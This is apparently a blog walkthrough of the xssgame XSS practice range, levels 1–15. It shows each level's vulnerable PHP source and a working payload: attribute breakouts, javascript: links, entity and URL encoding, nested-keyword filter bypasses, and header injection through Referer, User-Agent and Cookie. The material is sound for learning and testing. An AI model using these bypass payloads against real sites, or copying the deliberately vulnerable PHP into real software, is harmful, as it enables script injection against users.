xssgame靶场通关记录

2023-11-15

靶场地址

国光老师修改以后的项目地址
解压后放入HTTP服务的目录下,浏览器打开。

第一关

没有任何防护
payload:

<script>alert('xss')</script>

第二关

测试语句:

<>"JavAScriPT'/:on;

查看网页源码:
没有找到和&lt;&gt;&quot;JavAScriPT'/:on;相关的结果.
输入的字符串经过htmlspecialchars($str)编码,< > "被转义为html实体.
输出的位置在< h2 >标签内容 以及 input标签的value属性中

php文件中回显到页面的方法是:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

h2 标签进行实体转义后没有方法构造html标签和script执行环节
input中可用 " 闭合结合事件响应进行弹窗.

payload:

" onclick=alert('xss')> 

拼接后的网页源码

<input name=keyword  value="" οnclick=alert('xss')> ">

点击input输入框即可弹窗

第三关

与第二关基本相同
php源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

用 ’ 闭合input中回显的字符串,构造事件响应弹窗.
payload

' οnclick=alert('XSS') //

拼接后的网页源码;

<input name=keyword  value='' οnclick=alert('XSS') //'>

第四关

测试语句
<>"JavAScriPT’/:on
查看网页源码

<h2 align=center>没有找到和&lt;&gt;&quot;JavAScriPT'/:on相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value=""JavAScriPT'/:on">

回显位置:

  1. h2标签内
  2. input value属性中
    input中 < > 符号被过滤

payload

" onclick=alert('xss') //

拼接后的网页源码:

<input name=keyword  value="" οnclick=alert('xss') //">

第五关

测试语句

<script>alert(1)</script>

回显结果:
在这里插入图片描述
过滤机制:
script – scr_ipt
on – o_n
考虑用javascript:代替script和on事件来执行弹窗

payload:

"><a href=javascript:alert('xss')>123</a> \\

在这里插入图片描述
点击123弹窗。

第六关

测试语句:

javascript<>on'href

回显结果:
在这里插入图片描述
过滤机制:
on – o_n
href – hr_ef
< script > – < scr_ipt >
本题没有进行大小写过滤
payload:
" 闭合input的value属性后 构造script标签弹窗

"><sCript>alert('xss')</scRipt>\\

第七关

网页源码:

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

可以看出将敏感字符替换为空,可以采用嵌套的方式绕过。
payload:

" oonnclick=alert('XSS') //构造事件
"> <sscriptcript>alert('XSS')</sscriptcript> //构造标签

第八关(*html编码绕过)

测试语句:

<script>alert(xss)</script>

页面源代码:

<form action=level8.php method=GET>
<input name=keyword  value="&lt;script&gt;alert(xss)&lt;/script&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="<scr_ipt>alert(xss)</scr_ipt>">友情链接</a></center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/d2d2080f-746c-4276-9f63-585fc4fd4a9c.jpg" width="20%"></center>
<h3 align=center>payload的长度:29</h3></body>
</html>

发现input和a标签均有回显
input标签处<>被转移为html实体,a标签中script变为scr_ipt
经过尝试 a和input标签均会转义" 无法闭合

php源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
  • input标签经过htmlspecialchars转换后很难构造
  • a标签因为输出在href属性中可以考虑javascript:这种形式绕过
    利用当作字符串处理的特点,可以直接将我们的payload HTML使用HTML实体字符编码绕过
    t html实体编码后 &#116;

payload:

javascrip&#116;:alert('XSS')  //将t编码
javascrip&#x09;t:alert('XSS') //tab编码
javascrip&#x0a;t:alert('XSS') //回车编码

第九关(href属性js伪协议)

查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

比第八关增加了http检测,只要在payload后加入http
payload:

javascrip&#x74;:alert('XSS') //http://

第十关

php源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

h2标签中的回显被htmlspecialchars转义无法构造
input标签t_sort中可以利用 " 闭合后通过构造事件来弹窗

payload:

t_sort=" onclick=alert('xss')>//

在这里插入图片描述
更改input的属性后点击可调转到下一关

第十一关

php源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

用htmlspecialchars转义的两处回显无法构造
t_ref处的字符串来源于HTTP_REFERER故更改请求包中的http referer来构造payload

payload:

Referer: " type="" onclick=alert('XSS') //

在这里插入图片描述

第十二关

与十一关相同,user-agent字符串被回显。

payload:

User-Agent: " type="" onclick=alert('XSS') //

第十三关

与十一关相同,cookie字符串被回显。

payload:

Cookie: user=" type="" onclick=alert('XSS') //

第十四关(Angular JS)

php源码

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

这题考察Angular JSng-include用法.

ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗。
payload:

level14.php?src="level1.php?name=<img src=x οnerrοr=alert('XSS')>"

第十五关(url编码)

php源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

发现页面回显位置在center标签中,而且没有过滤<>可自己构造标签
又因为空格被过滤,考虑编码绕过

payload

<img%Asrc=0%Aonerror=alert('xss')>
url编码 符号
%0a 换行
%0d Tab

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

xssgame靶场通关记录 的相关文章

  • 防止我的nodejs服务器中的xhr攻击[关闭]

    很难说出这里问的是什么 这个问题是含糊的 模糊的 不完整的 过于宽泛的或修辞性的 无法以目前的形式得到合理的回答 如需帮助澄清此问题以便重新打开 访问帮助中心 help reopen questions 我正在开发一个将与客户端移动应用程序
  • 跨站脚本注入

    我正在测试一个网络应用程序 我想写一个XSS将显示警报的脚本 Hello 我写的第一个脚本是
  • 如何在不使用脚本标签的情况下注入javascript? [关闭]

    Closed 这个问题需要细节或清晰度 help closed questions 目前不接受答案 我无法使用脚本标签 当我这样做时它会发出警报 这仅对测试有用 它过滤掉它们 script gt SCRIPT gt SCRIPT sCriP
  • 以 XSS 安全方式替换 AJAX 响应中的选项

    从内部succcess我的 AJAX 响应的方法 我的目标是以 XSS 安全的方式执行以下操作 删除所有现有的options在选择框中 替换同一选择框中的选项 这是删除和替换选项的一种方法 但我对这种策略完全安全的 XSS 没有很高的信心
  • 防御 XSS 攻击?

    我对 PHP 很陌生 但我听说 XSS 漏洞很糟糕 我知道它们是什么 但如何保护我的网站 为了防止 XSS 攻击 您只需正确检查和验证您计划使用的所有用户输入的数据 并且不允许从该表单插入 html 或 javascript 代码 或者您可
  • 在没有脚本标签的情况下执行 XSS JavaScript

    我正在学习 XSS 出于道德目的 我想知道如何在不使用
  • 清理 URL 以防止 Rails 中的 XSS

    在 Rails 应用程序中 用户可以创建事件并发布 URL 以链接到外部事件站点 如何清理网址以防止 XSS 链接 提前致谢 XSS 示例 rails 的清理方法无法预防该问题 url javascript alert XSS a href
  • PHP_SELF 和 XSS

    我发现一篇文章声称 SERVER PHP SELF 容易受到 XSS 攻击 我不确定我是否理解正确 但我几乎可以肯定这是错误的 这怎么可能容易受到 XSS 攻击
  • 为什么标签 x = txtName.Text;遭受XSS攻击,如何预防?

    我有以下代码 label x txtName Text 当安全团队分析该 dll 时 他们表示可以对上述代码执行 XSS 攻击 我知道文本框Text属性并不能防止 XSS 攻击 那么我现在应该做什么 下面的修改能解决这个问题吗 label
  • javascript html5 使用来自不同域的图像绘制图像

    所以我有以下代码 var element document getElementById myCanvas var width element width var height element height var context elem
  • 如何使用 htmlpurifier 允许传递整个文档,包括 html、head、title、body

    鉴于下面的代码 我如何使用 htmlpurifier 让整个内容通过 我想允许整个 html 文档 但 html head style title body 和 meta 被删除 我什至尝试过 config gt set Core Conv
  • 将 html 内容从 iframe 复制到 div ( ajax )?

    假设我的浏览器加载了一个 Iframe 我可以使用ajax将test html的内容加载到html主页面的div中吗 这个想法是我的解决方案 因为我实际上正在尝试克服将 ajax 提交到远程主机的限制 该计划是生成具有 0 大小 ifram
  • HTML 和属性编码

    我遇到了一个发表在 Meta SO 上 https meta stackexchange com questions 104230 attack of the double encoded hellip part n我很好奇未编码和编码的
  • 如何从 iframe 读取父页面的页面标题?

    我有一个页面调用另一个页面 在另一台服务器上 我希望该页面从父页面读取标题 这可能吗 或者这是否存在一些安全问题 您无法像这样跨服务器进行通信
  • 如何使用 Struts 预防 XSS 漏洞

    我们需要在 Struts 应用程序中添加反 XSS 支持 最具体地说 架构师要求所有用户输入在存储到数据库之前必须进行 清理 由于我不想重新发明方轮 我可以使用哪个 Java 库来实现此目的 以及把它放在哪里 理想情况下 它应该是可配置的
  • img src 属性中使用 javascript 进行 XSS 攻击

    一些较旧的浏览器容易受到 XSS 攻击 img src 当前版本的 IE FF Chrome 不是 我很好奇是否有浏览器容易受到类似的攻击 img src somefile js or 或其他类似的地方 somefile js 包含一些恶意
  • 尝试利用?

    我看到我的 nopCommerce 网站记录了以下搜索 ADw script AD4 alert 202 ADw script AD4 我有点好奇他们想要完成什么 我搜索了一下 似乎是ADw script AD4 以 UTF7 编码为
  • HTML-Entity 转义以防止 XSS

    我有一些用户输入 在我的代码中 我确保对以下符号进行转义 gt amp lt gt lt gt gt gt OWASP https www owasp org index php XSS 28Cross Site Scripting 29
  • 如何安全地使用 fckEditor,而不存在跨站脚本风险?

    此链接描述了使用 fckEditor 对我的应用程序的利用 http knitinr blogspot com 2008 07 script exploit via fckeditor html http knitinr blogspot
  • 创建全屏 iframe

    我目前正在研究 XSS 攻击 目的是在客户端演示中使用它们 我是渗透测试员 我编写了一个工具 该工具将托管网站登录页面的恶意版本 获取用户名和密码 然后将受害者重定向回原始网站 然而 我一直在尝试使用 iframe 来让它工作 因为它看起来

随机推荐

  • LeetCode-1615. 最大网络秩【图】

    LeetCode 1615 最大网络秩 图 题目描述 解题思路一 简单暴力 用一个矩阵g记录每对点之间是否连通 如果连通g a b g b a 1 然后用一个一位数组cnt记录每一个点的度 最终答案是每对城市之间的最大网络秩即max cnt
  • 机器学习、深度学习常用专业术语

    主要记录一些深度学习中可能用到的专业术语 一般是碰到了不懂的才记录 所有没有按一定的规律记录 持续更新 1 梯度下降 gradient descent 2 学习速率 learning rate 学习率指每次迭代中 对成本函数的 最小化次数
  • 用 Python 快速追踪基金的收益情况(2022年4月更新)

    来源 Python数据之道 ID PyDataLab 作者 阳哥 大家好 我是阳哥 大家知道 近几年 不少同学都是经由基金进入到股市中的 至于股票和基金到底谁更好 这个仁者见仁智者见智 恐怕一时半会儿也说不清楚 2021年 阳哥曾经分享过
  • 机器学习课后题——贝叶斯

    第四章 贝叶斯分类器 1 简述朴素贝叶斯的优缺点 答 朴素贝叶斯的主要优点有 算法比较简单 易于实现 快速 易于训练 朴素贝叶斯模型有稳定的分类效率 对小规模的数据表现很好 能处理多分类任务 适合增量式训练 尤其是数据量超出内存时 可以一批
  • 今天是我的生日,也是我的离职日!

    前言 时间就是这么巧妙 今天是我的生日 也是我的离职日 职场中有人来 就有人走 本是件很平常的事 在这里祝自己生日快乐 江湖路远 后会有期 今天是我的生日 也是我的离职日 一 往昔 二 ZQ的人事物 三 离职建议 四 后会有期 一 往昔 记
  • 【JavaScript面向对象详解】

    ES6之前的JavaScript面向对象比较不好理解 涉及到很多知识和思想 ES6增加了class和extends来实现类的封装和继承 但是通过babel转换成ES5之后还是之前的一套逻辑 这里 我打算用四篇文章 来讲解一下关于ES5中面向
  • k8s ingress配置wss编排模板

    前段时间遇到了一个k8s配置websocket的问题 需要配置一下 由于wss比较安全 结合tls证书才能配置成功 如果是ws则无法在https的网站上面直接使用 wss才行 下面给出配置文件 希望帮助到需要的伙伴 配置一个新的单独为所有w
  • 【学习笔记】——appium移动端自动化测试实战

    最近学习了appium移动端自动化测试 以qq登录模块的功能进行实战学习 主要涉及到的技术有 python appium unittest 数据驱动 weditor查看元素定位 断言 测试报告 最后以pom模式呈现效果 在学习过程中 除了元
  • java类的静态变量调用_Java学习笔记八---类的静态变量与静态方法的访问与调用方式...

    静态变量又称类变量 静态方法又称类方法 它们统称为静态成员或类成员 静态成员由static修饰 是属于整个类的 所有的对象共享这些静态成员 不需要创建任何对象 静态成员在类装载时就已初始化了 整个运行期间其内存位置不变 直到类卸载 鉴于静态
  • apache 插件开发之过滤器 (filter)

    过滤器 filter A filter is a process that is applied to data that is sent or received by the server Data sent by clients to
  • Unity实现Camera和Audio数据的低延迟RTMP推送技术探讨

    关于Unity实现RTMP直播推送技术方案 之前零散的写过几篇介绍 得到了好多开发者的关注 以Android平台为例 目前视频这块 我们demo实现的是Camera数据的采集 然后编码投递到底层 如果设备没有性能瓶颈 可达到高帧率 60帧
  • 自动化测试的类型​以及自动化测试的几个误区!

    有三种主要类型的自动化测试 一 自动化单元测试 编辑 自动化单元测试在代码级别上进行测试 bug是在开发人 员编写的函数 方法和例程中识别出来的 一些公司要求开发人员自己进行单元测试 而有些公司则雇用专门的测试自动化资源 这些资源可以访问源
  • 2021最新Apache漏洞分析

    漏洞简介 2021年9月16日 Apache官方发布了Apache httpd mod proxy SSRF漏洞CVE 2021 40438 影响v2 4 48及以下版本 该漏洞影响范围较广 危害较大 利用简单 不得不引起重视 漏洞搭建 d
  • R for data science 之 stringr包

    作者简介Introduction 邬书豪 车联网数据挖掘工程师 R语言中文社区专栏作者 微信ID wsh137552775 知乎专栏 https www zhihu com people wu shu hao 67 activities 往
  • C语言 —— 合并两个有序数组

    C语言解决数组相关问题 合并有序数组 一 问题描述 二 解题思路 三 图文描述 四 代码展示 一 问题描述 给定两个有序整形数组arr1 和 arr2 将arr1 与 arr2合并或者有序输出成为一个有序数组 二 解题思路 1 给定的是两个
  • 16_Nginx_http请求处理的11个阶段

    文章目录 http 请求处理时的11个阶段 11个阶段的顺序处理 http 请求处理时的11个阶段 post read realip server rewrite rewrite find config rewrite rewrite po
  • 动力节点王鹤SpringBoot3笔记——第五章 说说Web服务

    目录 第五章 说说Web服务 5 1 高效构建Web应用 5 1 1 html页面视图 5 1 2 JSON视图 5 1 3 给项目加favicon 5 2 Spring MVC 5 2 1 控制器Controller 5 2 1 1 匹配
  • Oracle的大字段Clob类型的查询,Clob转为varchar展示

    1 Oracle中将clob字段数据转化为字符串 借鉴学习地址 Oracle的CLOB大数据字段类型 Grand Jon 博客园 查询 将CLOB转成字符类型 采用 dbms lob substr 查询 将CLOB转成字符类型 SELECT
  • 亚稳态学习小结

    亚稳态学习小结 一 亚稳态是什么 要知道亚稳态的定义 首先要知道时钟上升沿采样中的建立时间 setup time 和保持时间 hold time 1 1 建立时间 Tsu 保持时间 Th 建立时间 在触发器时钟上升沿到来之前 数据需要保持稳
  • xssgame靶场通关记录

    文章目录 靶场地址 第一关 第二关 第三关 第四关 第五关 第六关 第七关 第八关 html编码绕过 第九关 href属性js伪协议 第十关 第十一关 第十二关 第十三关 第十四关 Angular JS 第十五关 url编码 靶场地址 国光